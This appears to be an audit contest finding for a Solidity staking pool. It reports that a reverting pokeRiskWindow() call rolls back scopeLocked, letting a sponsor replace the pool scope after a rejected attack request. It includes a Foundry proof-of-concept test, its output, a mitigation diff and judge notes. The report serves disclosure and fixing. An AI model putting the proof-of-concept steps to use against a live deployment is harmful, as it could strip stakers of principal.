FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

ATTACK_REQUESTED rejection can reopen scope for already-staked pools because scopeLocked is rolled back

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: once the BattleChain registry leaves pre-attack staging (NOT_DEPLOYED / NEW_DEPLOYMENT), the pool scope should become immutable so existing stakers are not exposed to a different scope than the one they deposited against.

  • I analyzed ConfidencePool.sol and observed that ATTACK_REQUESTED attempts to lock scope in _observePoolState(), but the lock is rolled back by reverting caller paths. In particular, pokeRiskWindow() calls _observePoolState(), which sets scopeLocked = true, but then pokeRiskWindow() reverts because ATTACK_REQUESTED does not set riskWindowStart or riskWindowEnd. If the attack request is later rejected back to NOT_DEPLOYED, the sponsor can replace scope while existing stake remains in the pool.

// src/ConfidencePool.sol
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
@> _observePoolState();
@> if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked
&& state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
...
}

The issue is that scopeLocked = true is only persisted when the outer transaction succeeds. In ATTACK_REQUESTED, the available no-token observer path reverts after setting the lock, so the lock never persists.

Risk

Likelihood:

  • This occurs when the registry reaches ATTACK_REQUESTED, no successful pool call persists scopeLocked, and the attack request is later rejected back to NOT_DEPLOYED.

  • pokeRiskWindow() is the permissionless observation function, but during ATTACK_REQUESTED it reverts after _observePoolState() attempts to lock scope.

Impact:

  • A sponsor can replace the pool scope after stakers have already deposited and after the agreement already left pre-attack staging once.

  • Existing stakers can later lose principal under a replacement scope they did not deposit against, as shown by the corrupted-sweep PoC.

Proof of Concept

Create this file:

cat > test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ScopeReopenAfterRejectedAttackPoC is BaseConfidencePoolTest {
address internal constant REPLACEMENT_SCOPE_ACCOUNT = address(0xBEEFCAFE);
function testPoC_AttackRequestRejectionReopensScopeForAlreadyStakedPool() external {
agreementContract.setContractInScope(REPLACEMENT_SCOPE_ACCOUNT, true);
_stake(alice, 100 * ONE);
address[] memory originalScope = pool.getScopeAccounts();
assertEq(originalScope.length, 1);
assertEq(originalScope[0], DEFAULT_SCOPE_ACCOUNT);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertFalse(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT));
assertEq(pool.eligibleStake(alice), 100 * ONE);
// The agreement leaves pre-attack staging.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
// _observePoolState() sets scopeLocked=true internally, but pokeRiskWindow()
// then reverts because ATTACK_REQUESTED is not active-risk or terminal.
// The revert rolls back the attempted scope lock.
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "scope lock was rolled back by pokeRiskWindow revert");
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
// setPoolScope also attempts to observe and lock, but then reverts with
// ScopePostLockImmutable, rolling back the lock again.
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacementScope);
assertFalse(pool.scopeLocked(), "failed setPoolScope also rolls back scope lock");
// DAO rejects the attack request, returning the agreement to NOT_DEPLOYED.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// Sponsor can now replace scope even though the registry already left staging once.
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "original scope removed");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope added");
assertEq(pool.eligibleStake(alice), 100 * ONE, "Alice stake remains under replaced scope");
}
function testPoC_ReopenedScopeCanLaterSweepExistingStakeAsCorrupted() external {
agreementContract.setContractInScope(REPLACEMENT_SCOPE_ACCOUNT, true);
_stake(alice, 100 * ONE);
// Registry reaches ATTACK_REQUESTED, but no successful call persists scopeLocked.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "scope lock not persisted");
// Rejected attack request returns to NOT_DEPLOYED.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// Sponsor replaces the scope while Alice's stake remains.
address[] memory replacementScope = new address[](1);
replacementScope[0] = REPLACEMENT_SCOPE_ACCOUNT;
pool.setPoolScope(replacementScope);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT));
assertEq(pool.eligibleStake(alice), 100 * ONE);
// Later lifecycle proceeds under the replacement scope.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
}
}
EOF

Run:

forge test --match-path test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol -vvv

Observed output:

Ran 2 tests for test/unit/ScopeReopenAfterRejectedAttackPoC.t.sol:ScopeReopenAfterRejectedAttackPoC
[PASS] testPoC_AttackRequestRejectionReopensScopeForAlreadyStakedPool() (gas: 426312)
[PASS] testPoC_ReopenedScopeCanLaterSweepExistingStakeAsCorrupted() (gas: 555975)
Suite result: ok. 2 passed; 0 failed; 0 skipped

The PoC proves that:

  1. Existing stake is deposited under the original scope.

  2. ATTACK_REQUESTED cannot be permissionlessly persisted as a scope lock through pokeRiskWindow().

  3. After rejection back to NOT_DEPLOYED, the sponsor replaces scope.

  4. The existing stake remains in the pool under the replacement scope.

  5. The replacement scope later reaches CORRUPTED, and the existing stake is swept to recoveryAddress.

Recommended Mitigation

Treat a newly persisted scopeLocked transition as successful work in pokeRiskWindow().

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ bool wasScopeLocked = scopeLocked;
+ uint32 startBefore = riskWindowStart;
+ uint32 endBefore = riskWindowEnd;
_observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ if (
+ scopeLocked == wasScopeLocked
+ && riskWindowStart == startBefore
+ && riskWindowEnd == endBefore
+ ) {
+ revert RiskWindowNotReached();
+ }
}

This lets keepers/stakers persist the one-way scope lock during ATTACK_REQUESTED, even when no risk-window start or end is reached yet. It prevents ATTACK_REQUESTED -> NOT_DEPLOYED rejection from reopening sponsor-controlled scope mutation for already-staked pools.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Sponsor can atomically self-trigger ATTACK_REQUESTED and roll back scopeLocked via a reverting setPoolScope/pokeRiskWindow, reopening scope after a DAO rejection

Impact - Low Nothing moves when the scope is swapped, and the state afterward is pre-attack, so any staker who notices can withdraw in full. _replaceScope emits ScopeUpdated, which puts the change on-chain where it can be seen. Real loss needs a restarted attack cycle that breaches one of the substituted accounts with the original staker still in the pool, at which point their principal funds a CORRUPTED payout for coverage they never chose. Likelihood - Medium The step the sponsor cannot force is the moderator rejecting the attack request, though rejections are an ordinary registry operation. The rest they can arrange. Neither observation path can seal the lock in this state, and pausing the pool shuts the deposit routes, leaving only a full-exit withdraw to do it. So reaching the mutable-scope condition is not hard; what holds the severity down is how much has to go wrong afterward for anyone to actually lose money.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!